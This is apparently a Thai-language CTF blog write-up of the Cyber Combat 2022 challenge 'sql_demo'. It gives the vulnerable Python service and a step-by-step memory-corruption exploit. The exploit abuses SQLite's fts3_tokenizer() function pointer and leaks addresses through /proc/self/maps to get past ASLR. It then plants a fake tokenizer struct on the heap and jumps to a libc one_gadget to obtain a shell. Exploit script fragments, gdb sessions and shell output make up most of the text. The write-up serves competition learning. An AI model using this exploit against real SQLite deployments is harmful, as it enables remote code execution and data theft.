July 24, 2022

Cyber Combat 2022 (Final) - sql_demo

Cover

ได้มีโอกาศไปแข่งขัน Cyber Combat 2022 ของทาง TB-CERT ทีมชื่อ ANYA (อาเนีย ไม่ใช่ อันย่า) และมีโจทย์ข้อหนึ่งที่ทำเสร็จหลังงานจบไปนิดเดียว ด้วยความเสียดายเลยนำมาเขียน blog ซะเลย

โดยโจทย์ข้อนี้เท่าที่ลองทดลองทำดูจะเป็นโจทย์ Memory Corruption หรือโจทย์ PWN ข้อหนึ่ง ซึ้งหลุดจากข้ออื่น ๆ ไปมากชื่อว่า sql_demo โดยตัวโจทย์จะเป็นภาษา Python และมีเนื้อหาดังนี้

#!/usr/bin/env python2

import ctypes
import sys
#import os

SQLITE_OK = 0

@ctypes.CFUNCTYPE(ctypes.c_int, ctypes.c_void_p, ctypes.c_int, ctypes.POINTER(ctypes.c_char_p), ctypes.POINTER(ctypes.c_char_p))
def callback(not_used, argc, argv, col_names):
    values = []
    for i in range(0, argc):
        values.append(argv[i])
    print("|%s|" % '|'.join(values))
    return 0

libsqlite = ctypes.cdll.LoadLibrary("libsqlite3.so.0")

db = ctypes.c_void_p(0)
err_msg = ctypes.c_char_p(0)

rc = libsqlite.sqlite3_open(":memory:", ctypes.byref(db))
if rc != SQLITE_OK:
    print("Can't open database")
    libsqlite.sqlite3_close(db)
    sys.exit(-1)

while True:
    print('>'),
    sql = raw_input()

    if sql == '.quit':
        libsqlite.sqlite3_free(err_msg);
        libsqlite.sqlite3_close(db);
        sys.exit(0);

    if sql == '.thumbprint':
        print(id(__doc__))
        print("%02x%02x" % (db.value ^ ctypes.cast(libsqlite.sqlite3_exec, ctypes.c_void_p).value, db.value ^ id(__doc__)))
        continue

    if sql.startswith('.read'):
        try:
            with open(sql[6:].strip(), "r") as f:
                for line in f:
                    print(line),
        except:
            print("E! Can't read file")
        continue

    rc = libsqlite.sqlite3_exec(db, sql, callback, 0, ctypes.byref(err_msg))
    if rc != SQLITE_OK:
        print("E! %s" % err_msg.value);

จะเห็นว่าโจทย์ไม่ได้มีอะไรแปลกมากจะเป็นการ load libsqlite3.so.0 และใช้งาน sqlite3_exec() function โดยตรง และการแข่งขันครั้งนี้เป็น การแข่งขันแบบ Attack & Defense โดยที่ flag จะถูกนำไปเขียนเป็นไฟล์​ไว้ใน /data โดยที่ชื่อไฟล์ไม่สามารถเดาได้

จากการ research ไม่พบ function default ของ sqlite ที่จะสามารถ list directory ได้ (ติดหาเรื่องนี้นานมาก) หลังจากเริ่มปลง ผมจึงเริ่มไปลองหาช่องโหว่จากช่องทางอื่น และไปเห็นที่ตัวโจทย์ตั้งใจ โหลดตัว libsqlite3.so.0 lib เข้ามาใช้งานซึ่งฝืนมาก ผมจึงเข้าไปใน docker โจทย์ใน instance ตัวเองเพื่อดู version ของ sqlite lib

[email protected]:~# docker exec -ti -u root sql_demo bash
[email protected]:/data# ls -al /usr/lib/x86_64-linux-gnu/libsqlite3.so.0
lrwxrwxrwx 1 root root 19 Feb 24  2021 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0 -> libsqlite3.so.0.8.6

จากที่เห็นเป็น libsqlite3 version 0.8.6 ค้นไปค้นมา เจอ blog นี้ซึ่งตรง version กับโจทย์พอดีเปะ ๆ และใน blog อธิบายวิธีโจมตีมาอย่างละเอียดแล้ว โดยสรุปเลยคือ ถ้าเราเรียก function fts3_tokenizer() และใส่ argument ที่ 2 เป็น address ของ object sqlite3_tokenizer_module ที่เราปลอมขึ้นมาได้ มันจะสร้าง sqlite3_tokenizer_module object ที่ชี้ไปที่ address นั้นจริง ๆ ทำให้เราสามารถ ชี้ไปที่ malicious address ที่เราเตรียมไว้ จากนั้น call function pointer xCreate, xDestroy, xOpen, xClose หรือ xNext ของ object นั้น เพื่อ take over control flow

sqlite3_tokenizer_module Object Schema

struct sqlite3_tokenizer_module {
    int iVersion;
    int (*xCreate) (int argc, const char * const *argv, sqlite3_tokenizer **ppTokenizer);
    int (*xDestroy) (sqlite3_tokenizer *pTokenizer);
    int (*xOpen) (sqlite3_tokenizer *pTokenizer, const char *pInput, int nBytes, sqlite3_tokenizer_cursor **ppCursor);
    int (*xClose) (sqlite3_tokenizer_cursor *pCursor);
    int (*xNext) (sqlite3_tokenizer_cursor *pCursor, const char **ppToken, int *pnBytes, int *piStartOffset, int *piEndOffset, int *piPosition);
};

ดังนั้นปัญหาของเราตอนนี้คือ เราจะเอา object sqlite3_tokenizer_module ปลอมไปใส่ไว้ใน memory ยังไง จากการทดลองพบว่า เราสามารถ select string ที่เราต้องการแล้วมันจะไปอยู่ใน memory ส่วนของ heap เอง แต่ว่าเราต้อง select ยาว ๆ หน่อยเพราะว่าต้น ๆ จะถูก overwrite ได้จากคำสั่งอื่น ๆ หลังจาก payload ของเราถูก free ผมจึงเลือกใช้

select replace(hex(zeroblob(1000)), '00', 'ANYA')

Ref: https://stackoverflow.com/a/51792334

และอีกความยากคือ ASLR ของ Linux ที่เราจำเป็นจะต้อง bypass เช่นกัน ASLR โดยเบื่องต้นจะเป็นการ random base memory ของแต่ละ segment ทำให้เราไม่สามารถเดาได้ว่าข้อมูลที่เราใส่เข้าไปเยอะ ๆ ใน heap อยู่ตรงไหน

แต่เดียวก่อนเรามี .read ที่สามารถนำไปอ่าน /proc/self/maps file โดยด้านใน file นี้จะมี memory mapping ของแต่ละ segment อยู่ด้วยทำให้เราสามารถ bypass ASLR ได้อย่างง่ายดาย ดังรูปต่อไปนี้

.read

จากนั้นเราก็แค่ต้องเขียน script เพื่อเข้าไปอ่าน เช่น

def execute(sql, last=False):
    global s
    s.sendline(sql)
    return s.readuntil("> ")

s = Sock(host, 1433)
s.readuntil(">")

s.sendline(".read /proc/self/maps")
maps = s.readuntil("> ")[:-2].splitlines()
libc_addr = int(maps[23][:12], 16)
heap_addr = int(maps[6][:12], 16)

ต่อไปเราก็ทำการยัด malicious sqlite3_tokenizer_module object ใส่ heap ซะดัง script ต่อไปนี้ (ไม่รู้ต้อง jmp ไปไหน ให้ไป 0xdeadbeef ก่อนเลย)

spawn_shell_addr = 0xdeadbeef

shell_struct =  struct.pack("<Q", 0)
shell_struct += struct.pack("<Q", spawn_shell_addr)
shell_struct += struct.pack("<Q", spawn_shell_addr)
shell_struct += struct.pack("<Q", spawn_shell_addr)
shell_struct += struct.pack("<Q", spawn_shell_addr)
shell_struct += struct.pack("<Q", spawn_shell_addr)

execute(f"select replace(hex(zeroblob(31337)), '00', x'414E5941414E5941{shell_struct.hex()}414E5941414E5941');")

หลังจากยัดใส่ไปแล้วเราจะรู้ได้ยังไง ว่ามันอยู่ตรงไหนของ heap วิธีของผมคือเข้าไป debug ใน container โจทย์เลยจบ ๆ ไป (ก่อนเข้าไปดู ให้ยิง step ด้านบนและเปิด connection ค้างไว้ก่อน) ดังนี้

[email protected]:~# docker exec -ti -u root sql_demo bash
[email protected]:/data# apt install procps gdb
[email protected]:/data# ps -A
    PID TTY          TIME CMD
      1 ?        00:00:00 sh
      7 ?        00:00:00 socat
   2812 pts/2    00:00:00 bash
   2839 pts/0    00:00:00 bash
   2897 ?        00:00:00 socat
   2898 ?        00:00:00 python
   2902 ?        00:00:00 socat
   2903 ?        00:00:00 python
   2904 pts/0    00:00:00 ps

เราได้ target process id (2903) แล้ว จากนั้น debug เลย โดยใช้ gdb -q -p 2903 attach เข้าไปใน process (ห้ามลืมใส่ ptrace CAP ให้ container ใน docker-compose.yml ด้วยนะ) จากนั้น ดู memory map ก่อนเลยใช้ คำสั่ง i proc mapping

[email protected]:/data# gdb -q -p 2903
Attaching to process 2903
(gdb) i proc mapping
process 2903
Mapped address spaces:

          Start Addr           End Addr       Size     Offset objfile
      0x55e689a3a000     0x55e689a87000    0x4d000        0x0 /usr/bin/python2.7
      0x55e689a87000     0x55e689c1c000   0x195000    0x4d000 /usr/bin/python2.7
      0x55e689c1c000     0x55e689d31000   0x115000   0x1e2000 /usr/bin/python2.7
      0x55e689d32000     0x55e689d34000     0x2000   0x2f7000 /usr/bin/python2.7
      0x55e689d34000     0x55e689dab000    0x77000   0x2f9000 /usr/bin/python2.7
      0x55e689dab000     0x55e689dce000    0x23000        0x0
      0x55e68b514000     0x55e68b63a000   0x126000        0x0 [heap]
      0x7f6665121000     0x7f6665131000    0x10000        0x0 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
      0x7f6665131000     0x7f6665229000    0xf8000    0x10000 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
      0x7f6665229000     0x7f666525d000    0x34000   0x108000 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
      0x7f666525d000     0x7f6665261000     0x4000   0x13b000 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
      0x7f6665261000     0x7f6665264000     0x3000   0x13f000 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
      0x7f6665264000     0x7f6665266000     0x2000        0x0 /usr/lib/x86_64-linux-gnu/libffi.so.7.1.0
      0x7f6665266000     0x7f666526c000     0x6000     0x2000 /usr/lib/x86_64-linux-gnu/libffi.so.7.1.0
      0x7f666526c000     0x7f666526e000     0x2000     0x8000 /usr/lib/x86_64-linux-gnu/libffi.so.7.1.0
      0x7f666526e000     0x7f666526f000     0x1000     0x9000 /usr/lib/x86_64-linux-gnu/libffi.so.7.1.0
      0x7f666526f000     0x7f6665270000     0x1000     0xa000 /usr/lib/x86_64-linux-gnu/libffi.so.7.1.0
      0x7f6665270000     0x7f6665277000     0x7000        0x0 /usr/lib/python2.7/lib-dynload/_ctypes.x86_64-linux-gnu.so
      0x7f6665277000     0x7f6665286000     0xf000     0x7000 /usr/lib/python2.7/lib-dynload/_ctypes.x86_64-linux-gnu.so
[...]

จะเจอว่า heap อยู่ที่ 0x55e68b514000 ถึง 0x55e68b63a000 ก็ค้นหาคำว่า ANYAANYA ที่เราใส่เป็น prefix และ postfix ก่อนเลย ใช้ find ดังต่อไปนี้

(gdb) find 0x55e68b514000,0x55e68b63a000,"ANYAANYA"
0x55e68b5d4288
0x55e68b5d42c0
0x55e68b619928
[...]
0x55e68b635fe8
0x55e68b636028
0x55e68b636068
0x55e68b6360a8
0x55e68b6360e8
0x55e68b636128
0x55e68b636168
0x55e68b6361a8
warning: Unable to access 15960 bytes of target memory at 0x55e68b63

จะเจอ address ที่มีค่าเป็น ANYAANYA แล้ว จากนั้นให้ใช้อันท้าย ๆ เพราะว่าจะมีโอกาศภูก overwrite ยาก ลองส่องดูว่าตรงกับ struct ที่เรายัดไว้ไหม

(gdb) x/20xg 0x55e68b6361a8 - 48
0x55e68b636178: 0x00000000deadbeef 0x00000000deadbeef
0x55e68b636188: 0x00000000deadbeef 0x00000000deadbeef
0x55e68b636198: 0x00000000deadbeef 0x41594e4141594e41
0x55e68b6361a8: 0x41594e4141594e41 0x0000000000000000
0x55e68b6361b8: 0x00000000deadbeef 0x00000000deadbeef
0x55e68b6361c8: 0x00000000deadbeef 0x00000000deadbeef
0x55e68b6361d8: 0x00000000deadbeef 0x41594e4141594e41
0x55e68b6361e8: 0x41594e4141594e41 0x0000000000000000
0x55e68b6361f8: 0x00000000deadbeef 0x00000000deadbeef
0x55e68b636208: 0x00000000deadbeef 0x00000000deadbeef
(gdb) x/6xg 0x55e68b6361b0
0x55e68b6361b0: 0x0000000000000000 0x00000000deadbeef
0x55e68b6361c0: 0x00000000deadbeef 0x00000000deadbeef
0x55e68b6361d0: 0x00000000deadbeef 0x00000000deadbeef

ตรงจากนั้นก็หา offset ระหว่าง base heap และตัว object ของเราซะ (แนะนำว่าให้เป็นอันท้าย ๆ เพราะจะได้ไม่ถูก overwrite ผมติดตรงนี้นานมาก มารู้ทีหลังว่ามันโดนคำสั่งอื่นแย่งไปใช้ได้)

(gdb) p/x 0x55e68b6361b0 - 0x55e68b514000
$1 = 0x1221b0

หลังจากได้ offset แล้วก็ยัดเข้า function fts3_tokenizer() เลยดังนี้

# Calc from GDB
heap_offset = 0x1221b0
shell_struct_addr = heap_addr + heap_offset
print("Struct Addr:", hex(shell_struct_addr))
shell_struct_addr_hex = struct.pack("<Q", shell_struct_addr).hex()

execute(f"select hex(fts3_tokenizer('shell', x'{shell_struct_addr_hex}'));")

สุดท้ายก็แค่ trick ให้ sqlite เรียก function xCreate ก็พอแล้ว เราก็จะ take over control flow ไปที่ 0xdeadbeef ได้แล้ว

s.sendline('create virtual table shell using fts3(tokenize=shell);')
s.interactive()

ลอง debug ดูเหมือนเดิม เรียบร้อยเด้งไป 0xdeadbeaf แล้ว

[email protected]:/data# ps -A
    PID TTY          TIME CMD
      1 ?        00:00:00 sh
      7 ?        00:00:00 socat
   2812 pts/2    00:00:00 bash
   2839 pts/0    00:00:00 bash
   2897 ?        00:00:00 socat
   2898 ?        00:00:00 python
   2918 ?        00:00:00 socat
   2919 ?        00:00:00 python
   2942 ?        00:00:00 socat
   2943 ?        00:00:00 python
   2944 pts/0    00:00:00 ps
[email protected]:/data# gdb -q -p 2943
Attaching to process 2943
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00000000deadbeef in ?? ()

ปัญหาสุดท้ายแล้วต้อง jump ไปไหนหละถึงจะได้ shell พอถึงตรงนี้ก็ใกล้จบงานแล้ว เลยปลงไม่ได้ตั้งใจทำต่อ

หลังจากตรงนี้จะเป็น work หลังจากจบงานนะครับ (เศร้ามาก)

หลังจากจบงาน พึ่งมานึกได้ว่าโลกนี้มี one_gadget นี้หว่า จัดดิครับ

FYI: one_gadget คือ address ที่เมื่อ jmp ไปแล้วจะได้ shell เลยครับ ผมใช้ (https://github.com/david942j/one_gadget)

docker cp sql_demo_test:/lib/x86_64-linux-gnu/libc-2.31.so .
[email protected]:~# one_gadget libc-2.31.so
0xc96da execve("/bin/sh", r12, r13)
constraints:
  [r12] == NULL || r12 == NULL
  [r13] == NULL || r13 == NULL

0xc96dd execve("/bin/sh", r12, rdx)
constraints:
  [r12] == NULL || r12 == NULL
  [rdx] == NULL || rdx == NULL

0xc96e0 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

เปลี่ยน spawn_shell_addr จาก 0xdeadbeef เป็น one gadget เลยครับ

spawn_shell_addr = libc_addr + 0xc96da

สุดท้ายทักทายทีม @Earth sec guys ซักหน่อย และได้ flag (ทีม @Earch อยู่ที่ 10.60.6.3 นะครับ)

[email protected]:client/ (master~) $ MY_IP=10.60.6.3 python spl_sql_demo_test_2.py
Start Exploit !
Local Test
Target: 10.60.6.3
Struct Addr: 0x55becfd6d1b0
: 0: can't access tty; job control turned off
$ id
uid=101(sql) gid=65534(nogroup) groups=65534(nogroup)
$ ls -alt | head
total 424
drwxr-xr-x 2 sql  root    4096 Sep 22 07:59 .
-rw-r--r-- 1 sql  nogroup 8192 Sep 22 07:59 uw09-9yv8-qs65
-rw-r--r-- 1 sql  nogroup 8192 Sep 22 07:58 4585-kb5e-5ri7
-rw-r--r-- 1 sql  nogroup 8192 Sep 22 07:57 8ltp-yr53-tewb
-rw-r--r-- 1 sql  nogroup 8192 Sep 22 07:56 svv7-bshi-1lw9
-rw-r--r-- 1 sql  nogroup 8192 Sep 22 07:55 o51r-r4a8-lbco
-rw-r--r-- 1 sql  nogroup    0 Sep 22 07:54 3uqm-ysiy-sst4
-rw-r--r-- 1 sql  nogroup 8192 Sep 22 07:53 zzxu-jp8z-7i32
-rw-r--r-- 1 sql  nogroup 8192 Sep 22 07:52 x7tb-3dbx-t6ca
$ cat uw09-9yv8-qs65
*]TEAM006_K9QOMEZO1X95CEA7978J2M30AE4C382D$ xt NOT NULL)

เสียดายไม่ได้ก่อนงานจบ อยาก “เซ็ตหย่อ สูดตอ ซูดผ่อ สี่หม่อ สองห่อ ใส่ไข่” เครื่อง @Earth จังครับ

สำหรับ exploit ตัวเต็มดูได้จาก https://gist.github.com/bongtrop/b75071bd82b78869470caa17d30e40e2

สรุป

ไม่รู้โจทย์ข้อนี้มันโผล่มาได้ไง ความยากคือต่างจากข้ออื่นลิบลับเลย แต่สนุกมากครับ สนุกที่ข้อนี้แหละ